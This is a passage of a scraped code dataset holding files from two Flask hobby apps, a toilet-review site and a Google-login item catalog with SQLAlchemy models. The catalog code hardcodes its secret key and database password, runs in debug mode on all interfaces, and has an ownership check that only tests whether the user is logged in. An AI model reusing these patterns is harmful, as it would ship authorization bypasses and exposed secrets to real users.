validators=[DataRequired()])\n image = FileField(\"image\", validators=[DataRequired()])\n title = TextAreaField(\"title\", validators=[DataRequired()])\n" }, { "alpha_fraction": 0.6474753618240356, "alphanum_fraction": 0.6493226885795593, "avg_line_length": 29.074073791503906, "blob_id": "5e5fa43d25d9899eadf3f887fb27e7ec35653314", "content_id": "61ab6c1403d50b8492c7fa4b157656a808eec247", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3248, "license_type": "no_license", "max_line_length": 154, "num_lines": 108, "path": "/app/users/views.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from app import app, db\nfrom app.utils import (\n has_no_empty_params,\n enforce_parameter_types,\n jsonschema,\n my_parsedate\n)\nfrom .models import User\nfrom app.latrines.models import Latrine\nfrom flask import (\n abort,\n flash,\n g,\n redirect,\n render_template,\n request,\n url_for\n)\nfrom flask.ext.login import (\n current_user,\n login_user,\n LoginManager,\n login_required,\n logout_user\n)\nfrom werkzeug.exceptions import Unauthorized\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = \"login\"\n\n#user loader callback - returns user id\n@login_manager.user_loader\ndef load_user(id):\n return db.session().query(User).get(id)\n\n#sets the global variable each time a request is received\[email protected]_request\ndef before_request():\n g.user = current_user\n\[email protected](\"/secret\")\n@login_required\ndef secret():\n return current_user.get_id()\n\[email protected](\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n if request.method == \"GET\":\n return render_template(\"users/register.html\")\n try:\n #response on method == \"POST\"\n email = request.form.get(\"email\")\n password = request.form.get(\"password\")\n username = request.form.get(\"username\")\n user = User(\n email = email,\n password = password,\n username = username\n )\n db.session().add(user)\n db.session().commit()\n login_user(user, remember=True)\n return redirect(url_for(\"dashboard\"))\n except Exception as e:\n #response on error\n return render_template(\"users/register.html\", error=e)\n else:\n abort(404)\n\[email protected](\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"GET\":\n return render_template(\"users/login.html\")\n try:\n username = request.form.get(\"username\")\n password = request.form.get(\"password\")\n user = db.session().query(User).filter_by(username=username).first()\n if user.check_password(password):\n login_user(user, remember=True)\n return redirect(request.args.get(\"next\") or url_for(\"dashboard\"))\n else:\n abort(401)\n except AttributeError:\n #response on TypeError - response if login attempted to a non-existent username\n return render_template(\"users/login.html\", error=\"That username doesn't exist!\")\n except Unauthorized:\n return render_template(\"users/login.html\", error=\"The credentials you provided don't add up!\")\n\[email protected](\"/dashboard\", methods=[\"GET\", \"POST\"])\n@login_required\ndef dashboard():\n if request.method == \"GET\":\n query_result = db.session().query(Latrine).filter_by(author=g.user.id)\n user_latrines = [latrine for latrine in query_result if query_result != False]\n return render_template(\"users/dashboard.html\", g=g, user_latrines=user_latrines, user_reviews=None, user_scrawls=None, user_courtesy_flushes=None)\n\[email protected](\"/messages\", methods=[\"GET\", \"POST\"])\n@login_required\ndef messages():\n if request.method == \"GET\":\n return render_template(\"users/messages.html\")\n\[email protected](\"/logout\")\n@login_required\ndef logout():\n logout_user()\n return redirect(url_for(\"index\"))\n" }, { "alpha_fraction": 0.6126126050949097, "alphanum_fraction": 0.6126126050949097, "avg_line_length": 37.849998474121094, "blob_id": "25e92cf838c47ff0bd14d1097b8d50de08327e59", "content_id": "d3d2acdb67bca53f555f035bb55422717185d3c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 777, "license_type": "no_license", "max_line_length": 87, "num_lines": 20, "path": "/app/static/js/self_hosted.js", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "$(document).ready(function(){\n $(\"#self-hosted-toggler\").click(function() {\n document.getElementById(\"host_name\").value = \"\";\n if ($(this).hasClass(\"fa-toggle-off\")) {\n $(this).removeClass(\"fa-toggle-off\");\n $(this).toggleClass(\"fa-toggle-on\");\n $(\"#self-hosted-toggler-label\").removeClass(\"label-text-representing-off-state\");\n (function() {\n latrineName = document.getElementById(\"latrine_name\").value;\n document.getElementById(\"host_name\").value = latrineName;\n })();\n }\n else {\n $(this).removeClass(\"fa-toggle-on\");\n $(this).toggleClass(\"fa-toggle-off\");\n $(\"#self-hosted-toggler-label\").addClass(\"label-text-representing-off-state\");\n document.getElementById(\"host_name\").value = \"\";\n }\n });\n});\n" }, { "alpha_fraction": 0.553268313407898, "alphanum_fraction": 0.5612134337425232, "avg_line_length": 52.25, "blob_id": "b8a1711ef32f3b8432ed5d2c4d967b1cb4e57384", "content_id": "d6f8dde8a439f70760504e28af1530937dcf6c9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2769, "license_type": "no_license", "max_line_length": 240, "num_lines": 52, "path": "/app/templates/reviews/review.html", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% block body %}\n<div class=\"review_focus_container\">\n <h1>{{ latrine.latrine_name }} @ {{ latrine.host_id }}, by {{ latrine.author }}</h1>\n <h2>{{ latrine.access }}; {{ latrine.accessibility }}; {{ latrine.capacity }}; {{ latrine.cuteness }}; {{ latrine.fanciness }}; {{ latrine.gender }}; {{ latrine.lat }}; {{ latrine.lng }}; {{ latrine.profile }}; {{ latrine.scope }};</h2>\n <div id=\"latrine_details\">\n <div class=\"row\">\n {% if latrine.gender == \"both\" %}\n <i class=\"fa fa-3x fa-mars\"></i>\n <i class=\"fa fa-3x fa-venus\"></i>\n <i class=\"fa fa-3x fa-neuter\"></i>\n {% elif latrine.gender == \"male_only\" %}\n <i class=\"fa fa-3x fa-mars\"></i>\n {% elif latrine.gender == \"female_only\" %}\n <i class=\"fa fa-3x fa-venus\"></i>\n {% elif latrine.gender == \"unisex_only\" %}\n <i class=\"fa fa-3x fa-mars\"></i>\n <i class=\"fa fa-3x fa-venus\"></i>\n <i class=\"fa fa-3x fa-neuter\"></i>\n {% else %}\n <i class=\"fa fa-3x fa-question-circle\"></i>\n {% endif %}\n </div>\n <div class=\"row\">\n {% if latrine.access == \"unrestricted\" %}\n <img src=\"{{ url_for('static', filename='assets/unrestricted.svg') }}\" alt=\"unrestricted\" style=\"width: 5%; height: auto;\">\n {% elif latrine.access == \"key_restricted\" %}\n <img src=\"{{ url_for('static', filename='assets/key_restricted.svg') }}\" alt=\"key restricted\" style=\"width: 5%; height: auto;\">\n {% elif latrine.access == \"pretense_restricted\" %}\n <img src=\"{{ url_for('static', filename='assets/pretense_restricted.svg') }}\" alt=\"pretense restricted\" style=\"width: 5%; height: auto;\">\n {% else %}\n <i class=\"fa fa-3x fa-question-circle\"></i>\n {% endif %}\n </div>\n <div class=\"row\">\n {% if latrine.accessibility == \"accessible\" %}\n <img src=\"{{ url_for('static', filename='assets/accessible.svg') }}\" alt=\"accessible\" style=\"width: 5%; height: auto;\">\n {% elif latrine.accessibility == \"inaccessible\" %}\n <img src=\"{{ url_for('static', filename='assets/inaccessible.svg') }}\" alt=\"inaccessible\" style=\"width: 5%; height: auto;\">\n {% else %}\n <i class=\"fa fa-3x fa-question-circle\"></i>\n {% endif %}\n </div>\n </div>\n <img src=\"{{ latrine.image_url }}\" alt=\"{{ latrine.latrine_name }}\" class=\"latrine_focus_image img-responsive\">\n <div id=\"navigation_row\" class=\"row\">\n <a href=\"/latrines/{{ latrine.latrine_id }}/reviews\"><i class=\"fa fa-3x fa-pencil-square-o latrine_focus_navigators\"></i></a>\n <a href=\"/latrines/{{ latrine.latrine_id }}/scrawls\"><i class=\"fa fa-3x fa-paint-brush latrine_focus_navigators\"></i></a>\n </div>\n</div>\n{% endblock %}\n" } ]
22
aman-agrawala/Catalog-App-Postgresql
https://github.com/aman-agrawala/Catalog-App-Postgresql
1158737173eff0a36f87aaae88e161c931190e09
b55f50208aaf33f9dfcad5c427673083a1d31455
18f3c3a99cc81e61d486b6354e46680d2cf09157
refs/heads/master
2020-09-28T11:38:56.478659
2016-08-31T01:07:41
2016-08-31T01:07:41
66,035,928
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.660643458366394, "alphanum_fraction": 0.6619656085968018, "avg_line_length": 31.41428565979004, "blob_id": "d4dffaa36bdaba0f4830f18ea3fcc3844bf9ad0d", "content_id": "63d15e29c467ef62aa7549169d453fd8eb30880b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2269, "license_type": "no_license", "max_line_length": 78, "num_lines": 70, "path": "/database_setup.py", "repo_name": "aman-agrawala/Catalog-App-Postgresql", "src_encoding": "UTF-8", "text": "from sqlalchemy import Column, ForeignKey, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import create_engine\n\nBase = declarative_base()\n\n\n# First we create the User table\nclass User(Base):\n ''' Create a User table that will record a user's name, picture and \n email '''\n __tablename__ = 'user'\n\n name = Column(String(80), nullable=False)\n email = Column(String, nullable=False)\n picture = Column(String, nullable=False)\n id = Column(Integer, primary_key=True)\n\n\n# Next we create the Category table and include a serialize function for JSON\nclass Category(Base):\n ''' Create a Category table that will record the name of each category '''\n __tablename__ = 'category'\n\n name = Column(String, nullable=False)\n id = Column(Integer, primary_key=True)\n # user_id = Column(Integer, ForeignKey('user.id'))\n # user = relationship(User)\n\n # Add serialize functionality later on for JSON, RSS, XML\n @property\n def serialize(self):\n return {\n 'name': self.name,\n 'id': self.id\n }\n\n\n# Next we create an Item table and include a serialize function for JSON\nclass Item(Base):\n ''' Create an Item table that will record the name, description,\n picture, the user and id of the user that made the item along \n with the category id and category that the item belongs to. '''\n __tablename__ = 'item'\n\n name = Column(String, nullable=False)\n description = Column(String, nullable=False)\n picture = Column(String, nullable=False)\n id = Column(Integer, primary_key=True)\n user_id = Column(Integer, ForeignKey('user.id'))\n user = relationship(User)\n category_id = Column(Integer, ForeignKey('category.id'))\n category = relationship(Category)\n\n # Add serialize functionality later on for JSON, RSS, XML\n @property\n def serialize(self):\n return {\n 'name': self.name,\n 'description': self.description,\n 'picture': self.description,\n 'id': self.id,\n 'user_id': self.user_id\n }\n\n\nengine = create_engine('postgresql+psycopg2://grader:grader@localhost/grader')\n\nBase.metadata.create_all(engine)\n" }, { "alpha_fraction": 0.6457940936088562, "alphanum_fraction": 0.6494428515434265, "avg_line_length": 37.85365676879883, "blob_id": "d2858097b232f5273128a9e38016eec7e4ea6ce6", "content_id": "469da20b00d2b98e2cf77c8ad0a2b6f6502b80e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 25488, "license_type": "no_license", "max_line_length": 95, "num_lines": 656, "path": "/application.py", "repo_name": "aman-agrawala/Catalog-App-Postgresql", "src_encoding": "UTF-8", "text": "# Imports for getting flash to work\nfrom flask import Flask, render_template, request, redirect, jsonify, url_for\nfrom flask import flash\napp = Flask(__name__)\n\n# Imports for geting sqlalchemy to work\nfrom sqlalchemy import create_engine, asc, desc\nfrom sqlalchemy.orm import sessionmaker\nfrom database_setup import Base, User, Category, Item\n\n# Imports for creating login_sessions\nfrom flask import session as login_session\nimport random\nimport string\n\n# imports for gconnect\n\n# creates a flow object from client secret JSON file. This JSON formatted file\n# stores your client ID, client secret and other OAuth 2 parameters.\nfrom oauth2client.client import flow_from_clientsecrets\n\n# use FlowExchangeError method if we run into an error trying to exchange an\n# authorization code for an access token\nfrom oauth2client.client import FlowExchangeError\n\n# comprehensive HTTP client library in Python\nimport httplib2\n\n# JSON module provides an API for converting in memory Python objects to\n# serialized representation known as JSON (JavaScript Object notation)\nimport json\n\n# converts the return value from a function into a real response object\n# that we can send off to our client\nfrom flask import make_response\n\n# requests is an Apache 2 license HTTP library in Python similar to urllib\n# but with a few improvements\nimport requests\n\n# Now we import what we need to get Flask-WTF to work\nfrom flask_wtf import Form\nfrom wtforms import StringField\nfrom wtforms.validators import DataRequired\n\n# Import wraps to preserve docstrings\nfrom functools import wraps\n\n# These are my custom Flask-WTF classes that I made. Each class represents \n# a form\nfrom form import editItemForm, newItemForm, deleteItemForm\n\n# declare client id by referencing client_secrets file downloaded from\n# google oauth server\nCLIENT_ID = json.loads(open('client_secrets.json', 'r').read())['web']\\\n ['client_id']\n#APPLICATION_NAME = 'Item Catalog Application'\n\n# SQLAlchemy code to connect to database and create the database\n# sessionmaker\nengine = create_engine('postgresql+psycopg2://grader:grader@localhost/grader')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n# class MyForm(Form):\n# name = StringField('Name', validators=[DataRequired()])\n# description = StringField('Description', validators=[DataRequired()])\n# category = StringField('Category', validators=[DataRequired()])\n# picture = StringField('Picture', validator=[DataRequired()])\n\n\n# #@app.before_request\n# def csrf_protect():\n# if request.method == 'POST':\n# token = login_session.pop('_csrf_token', None)\n# if not token or token != request.form.get('_csrf_token'):\n# response = make_response(json.dumps('Invalid token'), 403)\n# return response\n\n\n# def generate_csrf_token():\n# if '_csrf_token' not in login_session:\n# login_session['_csrf_token'] == random.choice(string.ascii_uppercase + string.digits)\n\n# return login_session['_csrf_token']\n\n# app.jinja_env.globals['csrf_token'] = generate_csrf_token\n\n# Make state tokens to prevent cross-site attacks\[email protected]('/login')\ndef showLogin():\n ''' This creates a random state and sends it to login.html '''\n state = ''.join(random.choice(string.ascii_uppercase + string.digits)\n for x in xrange(32))\n # print state\n login_session['state'] = state\n return render_template('login.html', STATE=state)\n # return 'State is: %s' % login_session['state']\n\n\[email protected]('/gconnect', methods=['POST'])\ndef gconnect():\n '''This connects to Google+ and confirms if the authorization \n attempt is valid. '''\n # check if the token created by you in login that was sent to the server\n # is the same token that the server is sending back. Helps ensure user is\n # making our request. request.args.get examines the state token passed in\n # and compares it to the state of the login session. If they do not match\n # then create a response of an invalid state token and return the message\n # to the client. No further authentication will occur on server side if\n # there is a mismatch between these state tokens.\n print 'gconnect'\n if request.args.get('state') != login_session['state']:\n # Here we send a response back to the browser. json.dumps serializes\n # the 'Invalid state parameter' into a JSON formatted stream. Error 401\n # is an access is denied due to invalid credentials.\n response = make_response(json.dumps('Invalid state parameter'), 401)\n # changing the content-type header.\n response.headers['Content-Type'] = 'application/json'\n return response # return the invalid state parameter response back to\n # the browser\n\n # if the token is valid, then we get the one time code useing request.data\n code = request.data\n\n # now try to use one time code and exchange it for credentials object which\n # will contain access token for the server\n try:\n # Upgrade the authorization code into a credentials object\n\n # Creates OAuth flow object and adds client secret key\n # information to it.\n oauth_flow = flow_from_clientsecrets('client_secrets.json', scope='')\n\n # here you specify with postmessage that this is the one time\n # code flow that the server will be sending off. This is generally\n # set to 'postmessage' to match the redirect_uri that the client\n # specified.\n oauth_flow.redirect_uri = 'postmessage'\n\n # initiate the exchange with the step2_exchange function and passing\n # in one time code as input. This step2_exchange function of the flow\n # class exchanges an authorization code for a credentials object.\n credentials = oauth_flow.step2_exchange(code)\n\n # if error happens along the way, then throw flow exchange error and\n # send response as JSON object\n except FlowExchangeError:\n response = make_response(json.dumps('Failed to upgrade the \\\n authorization code.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Now that we have the credentials object we will check and see if there\n # is a valid access token inside of it\n\n # store the access token in credentials\n access_token = credentials.access_token\n\n # by appending the token to the following google url, then the google\n # API server can verify that this is a valid token for use\n url = ('https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s'\n % access_token)\n\n # In the bottom two lines of code, we create a JSON get request\n # containing the URL and access token. Store the result of this request\n # in a variable called result.\n h = httplib2.Http()\n result = json.loads(h.request(url, \"GET\")[1])\n\n # If there was an error in the access token info, then we abort. If the\n # following if statement isn't true then we know that we have a working\n # access token. But we still will need to make sure we have the right\n # access token\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = 'application/json'\n\n # Verify that the access token is used for the intended user.\n\n # grab the id of the token in the credentials object\n gplus_id = credentials.id_token['sub']\n\n # compare the credentials object id to the id returned by the Google API\n # server. If the two IDs do not match, then I do not have the correct token\n # and should return an error.\n if result['user_id'] != gplus_id:\n response = make_response(json.dumps(\"Token's user ID doesn't match \\\n given user ID.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Check client IDs and if they do not match then the app is trying to use\n # client ID that doesn't belong to it and we should not allow for it.\n if result['issued_to'] != CLIENT_ID:\n response = make_response(json.dumps(\"Token's client ID does not \\\n match app's\"), 401)\n print \"Token's client ID does not match app's.\"\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Check to see if the user is already logged in\n stored_credentials = login_session.get('credentials')\n stored_gplus_id = login_session.get('gplus_id')\n if stored_credentials is not None and gplus_id == stored_gplus_id:\n # this returns a 200 which is a sueccessful authentication and\n # doesn't reset the login session variables.\n response = make_response(json.dumps('Current user is already \\\n connected'), 200)\n response.headers['Content-Type'] = 'application/json'\n\n # If the above if statements were true, then we have a valid access token\n # and the user was able to successfully login to the server. Next we do\n # the following:\n\n # Store the access token in the session for later use.\n login_session['provider'] = 'google' \n login_session['credentials'] = credentials\n login_session['access_token'] = credentials.access_token\n login_session['gplus_id'] = gplus_id\n print login_session['gplus_id']\n\n # Get user info through Google+ API\n userinfo_url = 'https://www.googleapis.com/oauth2/v1/userinfo'\n params = {'access_token': credentials.access_token, 'alt': 'json'}\n # send off message to Google API server with access\n # token requesting user info allowed by the token scope and then store it\n # in an object called data.\n answer = requests.get(userinfo_url, params=params)\n data = json.loads(answer.text)\n\n # Store the data that you're interested into login_session:\n login_session['username'] = data['name']\n login_session['picture'] = data['picture']\n login_session['email'] = data['email']\n\n # see if user exists, if it doesn't make a new one\n user_id = getUserID(login_session['email'])\n if not user_id:\n user_id = createUser(login_session)\n login_session['user_id'] = user_id\n\n # If the above worked then we should be able to create a response that\n # knows the user's name and can return their picture. You can also add\n # a flash message to let user know that they are logged in\n output = ''\n output += '<h1>Welcome, '\n output += login_session['username']\n output += '!</h1>'\n output += '<img src =\"'\n output += login_session['picture']\n output += ' \"style = \"width:300px; height: 300px; border-radius:150px; \\\n -webkit-border-radius: 150px; -moz-border-radius: 150px;\"> '\n flash('You are now logged in as %s' % login_session['username'])\n \n print credentials.access_token\n print '\\n'\n print '\\n'\n print '\\n'\n\n return output\n\n\n# DISCONNECT - Revoke a current user's token and reset their login_session.\[email protected]('/gdisconnect')\ndef gdisconnect():\n ''' This revokes teh current user's token and resets their \n login_session '''\n credentials = login_session.get('credentials')\n print credentials\n print '\\n'\n print '\\n'\n print '\\n'\n #print credentials.access_token\n # If credentials field is empty than we don't have a record of the user\n # so there is no one to disconnect and we will return 401 error\n if credentials is None:\n response = make_response(json.dumps('Current user not connected.'),\n 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n # Execute HTTP GET request to revoke current toke.\n access_token = credentials.access_token # Get the access token\n # Pass to google url to revoke tokens as\n url = 'https://accounts.google.com/o/oauth2/revoke?token=%s' % access_token\n h = httplib2.Http()\n\n # Store googles response in object like so\n result = h.request(url, 'GET')[0]\n\n if result['status'] == '200':\n # Reset the user's session.\n del login_session['credentials']\n del login_session['gplus_id']\n del login_session['username']\n del login_session['email']\n del login_session['picture']\n\n response = make_response(json.dumps('Successfully disconnected.'), 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n else:\n # For whatever reason, the given token was invalid.\n response = make_response(json.dumps('Failed to revoke token for given \\\n user.'), 400)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n\n# This is a generic disconnect function. I have made this to allow for the\n# possibility of using facebook or other OAuth 2.0 providers.\[email protected]('/disconnect')\ndef disconnect():\n ''' This is a generic disconnect function that determines whether the\n user logged in through facebook or google+. It removes user_id and \n provider from login session since neither gconnect or fbdisconnect\n do that.'''\n if 'provider' in login_session:\n if login_session['provider'] == 'google':\n gdisconnect()\n if login_session['provider'] == 'facebook':\n fbdisconnect()\n del login_session['facebook_id']\n\n del login_session['user_id']\n del login_session['provider']\n flash('You have successfully been logged out.')\n return redirect(url_for('homepage'))\n else:\n flash('You were not logged in to begin with!')\n return redirect(url_for('homepage'))\n\n\n# JSON APIs to view Catalog information\n\n# This is the JSON for all the categories\[email protected]('/categoryJSON')\ndef categoriesJSON():\n ''' This creates the JSON for all categories '''\n categories = session.query(Category).all()\n return jsonify(Category=[category.serialize for category in categories])\n\n\n# This is the JSON for all the items\[email protected]('/itemsJSON')\ndef itemsJSON():\n ''' This creates the JSON for all items '''\n items = session.query(Item).all()\n return jsonify(Item=[item.serialize for item in items])\n\n\n# This is the JSON for the items within a specific category\[email protected]('/<int:category_id>/categoryJSON')\ndef categoryJSON(category_id):\n ''' This creates the JSON for a set of items within a specific\n category '''\n items = session.query(Item).filter_by(category_id=category_id).all()\n return jsonify(Item=[item.serialize for item in items])\n\n\n# Show latest items (homepage)\[email protected]('/')\[email protected]('/home')\ndef homepage():\n ''' This routes the user to the homepage and lists the 10 most \n recently created items'''\n categories = session.query(Category).all()\n latestItems = session.query(Item).order_by(desc(Item.id)).limit(10)\n # print [i.name for i in latestItems]\n return render_template('home.html', categories=categories,\n latestItems=latestItems, login_session=login_session)\n\n\n# Lists the items for a specific category\[email protected]('/category/<int:category_id>/')\ndef itemList(category_id):\n ''' This lists all items within a specific category '''\n items = session.query(Item).filter_by(category_id=category_id).all()\n return render_template('category.html', cat_id=category_id, items=items)\n\n\n# This will display the item, its picture and its description\[email protected]('/category/<int:category_id>/<int:item_id>/')\ndef itemDescription(category_id, item_id):\n ''' This lists the item, its picture, description along with the \n option to edit or delete it. '''\n item = session.query(Item).filter_by(id=item_id).one()\n return render_template('itemDescription.html', item=item)\n\n\ndef user_check_decorator(func_name):\n ''' This decorator will check if the user is logged in. '''\n @wraps(func_name)\n def username_check(*args, **kwargs):\n print 'test'\n if 'username' not in login_session:\n return redirect('/login')\n return func_name(*args, **kwargs)\n return username_check\n\n\ndef user_id_check(func_name):\n ''' This decorator will check if the user owns the item '''\n @wraps(func_name)\n def id_check(*args, **kwargs):\n if 'username' not in login_session:\n return \"<script>function myFunction() {alert('You are not authorized \\\n to edit this item. Please create your own item in order to \\\n edit.');}</script><body onload = 'myFunction()''>\"\n return func_name(*args, **kwargs)\n return id_check\n\ndef form_errors(form):\n\n if form.errors:\n for error in form.errors:\n flash('Missing: %s' % error)\n flash('There was an error in your input')\n return False\n else:\n return True\n\n# Sample decorator code\n# def loginRequired(f):\n\n# @wraps(f)\n# def loginWrapper(*args, **kwargs):\n# if 'username' not in login_session:\n# return redirect(url_for('login', next=request.url))\n# return f(*args, **kwargs)\n# return loginWrapper\n\n\n# This will allow a user to create a new item and it will assign that item\n# to the user.\n\[email protected]('/category/<int:category_id>/new', methods=['GET', 'POST'])\n@user_check_decorator\ndef newItem(category_id):\n ''' This allows the user to create a new item from the category page'''\n # First we check to see if the user is actaully logged in\n # if 'username' not in login_session:\n # return redirect('/login')\n print 'open'\n form = newItemForm()\n\n cat = session.query(Category).filter_by(id=category_id).one()\n\n if form.validate_on_submit():\n newItem = Item(name=request.form['name'],\n description=request.form['description'],\n picture=request.form['picture'])\n session.add(newItem)\n newItem.user_id = login_session['user_id']\n newItem.category_id = category_id\n session.add(newItem)\n\n flash('Item has been created!')\n return redirect(url_for('itemList', category_id=cat.id))\n\n if form_errors(form) == False:\n return redirect(url_for('itemList', category_id=cat.id))\n\n # if form.errors:\n # for error in form.errors:\n # flash(error)\n # flash('There was an error in your input')\n # return redirect(url_for('itemList', category_id=cat.id))\n\n return render_template('newItem.html', category_id=category_id, form=form)\n # print request.method\n # print request.form\n # if request.method == 'POST':\n # newItem = Item(name=request.form['Title'],\n # description=request.form['description'],\n # picture=request.form['picture'])\n # session.add(newItem)\n # newItem.category_id = category_id\n # newItem.user_id = login_session['user_id']\n # session.add(newItem)\n # session.commit()\n # flash('New item added')\n # return redirect(url_for('itemList', category_id=category_id))\n # else:\n # return render_template('newItem.html', category_id=category_id)\n\n\n# This will allow a user to edit an item.\[email protected]('/category/<int:category_id>/<int:item_id>/edit',\n methods=['GET', 'POST'])\n@user_check_decorator\n@user_id_check\ndef editItem(category_id, item_id):\n ''' Allows the user to edit the name, description and picture of the \n item. '''\n # First check if the user is logged in.\n form = editItemForm()\n\n # if 'username' not in login_session:\n # return redirect('/login')\n\n # Find the item of interest\n item = session.query(Item).filter_by(id=item_id).one()\n\n # Now check to see if the user actually owns the item.\n # if item.user_id != login_session['user_id']:\n # return \"<script>function myFunction() {alert('You are not authorized \\\n # to edit this item. Please create your own item in order to \\\n # edit.');}</script><body onload = 'myFunction()''>\"\n\n # This is the instructions for making the edit.\n if form.validate_on_submit():\n cats = session.query(Category).all()\n if request.form.get('category'):\n for cat in cats:\n if cat.name == request.form['category']:\n item.category_id = cat.id\n else:\n flash('Invalid Category! Please write the name of an\\\n already existing category (Case Sensitive)!')\n return redirect(url_for('itemDescription',\n category_id=category_id, item_id=item_id))\n if request.form.get('Title'):\n item.name = request.form['Title']\n if request.form.get('description'):\n item.description = request.form['description']\n if request.form.get('picture'):\n item.picture = request.form['picture']\n session.add(item)\n session.commit()\n flash('Item has been editted!')\n return redirect(url_for('itemList', category_id=item.category_id))\n\n if form_errors(form) == False:\n return redirect(url_for('itemList', category_id=item.category_id))\n\n # if form.errors:\n # print form.errors\n # flash(\"You didn't input properly\")\n # return redirect(url_for('itemList', category_id=item.category_id))\n\n return render_template('editItem.html', item=item, form=form)\n\n # if request.method == 'POST':\n # cats = session.query(Category).all()\n # if request.form.get('category'):\n # for cat in cats:\n # if cat.name == request.form['category']:\n # item.category_id = cat.id\n # else:\n # flash('Invalid Category! Please write the name of an\\\n # already existing category (Case Sensitive)!')\n # return redirect(url_for('itemDescription',\n # category_id=category_id, item_id=item_id))\n # if request.form.get('Title'):\n # item.name = request.form['Title']\n # if request.form.get('description'):\n # item.description = request.form['description']\n # if request.form.get('picture'):\n # item.picture = request.form['picture']\n # session.add(item)\n # session.commit()\n # flash(\"Item has been added\")\n # return redirect(url_for('itemList', category_id=category_id))\n # else:\n # form = MyForm()\n # if form.validate_on_submit():\n # return render_template('editItem.html', item=item)\n\n\n# This will allow a user to delete an item.\n\[email protected]('/category/<int:category_id>/<int:item_id>/delete',\n methods=['GET', 'POST'])\n@user_check_decorator\n@user_id_check\ndef deleteItem(category_id, item_id):\n ''' This allows the user to delete the item from the database '''\n # First we check to see if the user is logged in. If not get them to.\n form = deleteItemForm()\n\n # if 'username' not in login_session:\n # return redirect('/login')\n\n # Next we find the item.\n item = session.query(Item).filter_by(id=item_id).one()\n\n # Then we check to see if the user owns this item.\n # if item.user_id != login_session['user_id']:\n # return \"<script>function myFunction() {alert('You are not authorized\\\n # to delete this item. Please create your own item in order to\\\n # delete.');}</script><body onload = 'myFunction()''>\"\n\n\n if form.validate_on_submit():\n session.delete(item)\n flash('Item has been deleted')\n session.commit()\n return redirect(url_for('itemList', category_id=category_id))\n\n if form_errors(form) == False:\n return redirect(url_for('itemList', category_id=cat.id))\n\n # if form.errors:\n # for error in form.errors:\n # flash(error)\n # flash('There was an error in your input')\n # return redirect(url_for('itemList', category_id=cat.id))\n\n return render_template('deleteItem.html', item=item, form=form)\n\n # This is the instructions for deleting the item.\n # if request.method == 'POST':\n # session.delete(item)\n # flash('Item has been deleted')\n # session.commit()\n # return redirect(url_for('itemList', category_id=category_id))\n # else:\n # return render_template('deleteItem.html', item=item)\n\n\n# This is used to create a new user within our database.\ndef createUser(login_session):\n ''' This creates a new user in the User table. '''\n newUser = User(name=login_session['username'],\n email=login_session['email'],\n picture=login_session['picture'])\n session.add(newUser)\n session.commit()\n user = session.query(User).filter_by(email=login_session['email']).one()\n return user.id\n\n\n# This is used to get the user object from our database.\ndef getUserInfo(user_id):\n ''' This extracts the user depending on the user's id. '''\n user = session.query(User).filter_by(id=user_id).one()\n return user\n\n\n# This is used to extrac the user's id by their email.\ndef getUserID(email):\n ''' This extracts the user's id using their email. '''\n try:\n user = session.query(User).filter_by(email=email).one()\n return user.id\n except:\n return None\n\n\nif __name__ == '__main__':\n app.secret_key = 'secret_key'\n app.debug = True\n app.run(host='0.0.0.0', port=8000)\n" }, { "alpha_fraction": 0.7686029672622681, "alphanum_fraction": 0.7825251817703247, "avg_line_length": 73.39286041259766, "blob_id": "18f52bc322bab89f03a0181e0cfd6f132f4904a8", "content_id": "70276acdf5688135fe0c658d4a1e24e61a6434fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2083, "license_type": "no_license", "max_line_length": 325, "num_lines": 28, "path": "/README.md", "repo_name": "aman-agrawala/Catalog-App-Postgresql", "src_encoding": "UTF-8", "text": "# Item Catalog Project\nThe following code will allow you to create a local webserver that lists categories\nand the items in each of them. This project includes the ability to login using \nGoogle+ and create, edit and delete your specific items. You can only view items that\nother people have made. This project will be expanded to eventually include Facebook and \nbetter web design.\n\nIn order to get this code up and running, it is expected that you are familiar with Python, SQLAlchemy, and Flask. Please see\nhttps://www.python.org/ for more information on installing and setting up python by yourself. Please see http://docs.sqlalchemy.org/en/rel_1_0/core/tutorial.html for setting up SQLAlchemy. Please see http://flask.pocoo.org/docs/0.10/quickstart/ for quickly setting up Flask. \nFurthermore, it is advised to install vagrant on your own machine to get all additional programs quickly intsalled. Please see this link for more details on this process: https://www.udacity.com/wiki/ud197/install-vagrant.\n\n## Instructions\n\n1. Open up terminal/Git Bash and cd to you vagrant folder.\n\n2. Type `vagrant up` and, after the virtual machine is turned on, type `vagrant ssh` to login\n\n3. Type `cd /vagrant` to go to common directory and then cd into your Item Catalog Project folder.\n\n4. Now type `python application.py` and hit enter.\n\n5. The server should be running locally at `localhost:8000` and you can view it yourself by typing `localhost:8000` into your browser url bar.\n\nYou can now edit, delete, or create new items in their respective categories. If you would like to select a different port for your website, then open up the application.py file and scroll all the way to the last line. By changing the value of port in `app.run(host='0.0.0.0', port=8000)` you can select any port 